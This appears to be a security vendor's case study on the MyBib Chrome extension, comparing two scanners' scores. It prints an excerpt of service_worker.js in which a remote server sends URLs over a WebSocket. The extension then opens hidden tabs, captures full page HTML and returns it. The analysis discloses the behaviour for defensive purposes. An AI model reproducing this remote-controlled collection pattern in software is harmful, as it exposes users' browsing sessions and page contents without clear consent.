CRXPlorer
93/100Safe
- Reported four permissions.
- Called the permissions purpose-aligned.
- Said there were no content scripts injected into pages.
- Noted that
tabscan expose URLs and that localhost access may probe local services.
Independently verified case study
CRXPlorer gave MyBib a 93/100 safety score. But the published extension quietly accepts browsing jobs from a remote server, opens server-selected pages, and sends their contents back.
a19a01056f7c90f2dc048decb77f8722f4006c4f1366843802eadcbb9c0f06acThe checksum above matches the package analyzed in the ExtensionSafe report.
CRXPlorer
93/100Safe
tabs can expose URLs and that localhost access may probe local services.ExtensionSafe
8/100 trustHigh risk
ws.mybib.com.These scores use different methods and are not directly interchangeable. The important difference is the behavior each public report surfaces. CRXPlorer result accessed September 29, 2026.
This readability-formatted excerpt comes from service_worker.js. Whitespace was expanded and unrelated code was omitted; the destinations and operations are unchanged.
e.defaults.withCredentials = !0;
n = new WebSocket(`wss://ws.mybib.com/?v=${t}`);
n.onmessage = async function (t) {
var r = JSON.parse(t.data);
if (r.url) {
if (r.useTab) {
chrome.tabs.create({ active: !1, pinned: !0, url: r.url }, function (e) {
o = setInterval(async function () {
// polling and readiness checks omitted
a = await chrome.scripting.executeScript({
target: { tabId: e.id },
injectImmediately: !0,
func: d
});
n.send(JSON.stringify({
id: r.id,
response: { data: a[0].result, status: s[0]?.result ?? 500 }
}));
await chrome.tabs.remove(e.id);
}, 50);
});
} else {
try { t = await e(r) }
catch (e) { t = e.response }
if (t) n.send(JSON.stringify({ id: r.id, response: t }));
}
}
};
function d() {
return document.documentElement.outerHTML
}
chrome.scripting.executeScript at runtime instead of declaring a static content script in the manifest.externally_connectable is the wrong boundary. That setting limits which websites may initiate messages to the extension. It does not restrict the extension's outbound WebSocket or the commands received through it.eval() does not mean no remote control. The server sends URLs and request instructions rather than JavaScript. The extension's packaged code carries them out with powerful browser APIs.The Chrome Web Store listing says MyBib may use otherwise unused bandwidth to crowdsource citation data. That is meaningful disclosure, and this analysis is not claiming the behavior is necessarily criminal or that MyBib steals raw passwords or cookie values.
But the client code does not check whether the browser is idle before accepting work. More importantly, “unused bandwidth” does not clearly explain that a remote server can choose URLs, use the customer's browser session and network position, and receive complete page contents.
outerHTML does not necessarily include live input values.Bottom line
CRXPlorer noticed some powerful permissions but explained them as normal citation features. ExtensionSafe followed the background worker and found a separate, remotely controlled data path. That is the difference between listing what an extension can access and reading what its code does.
Read the full MyBib report or check another Chrome or Firefox extension.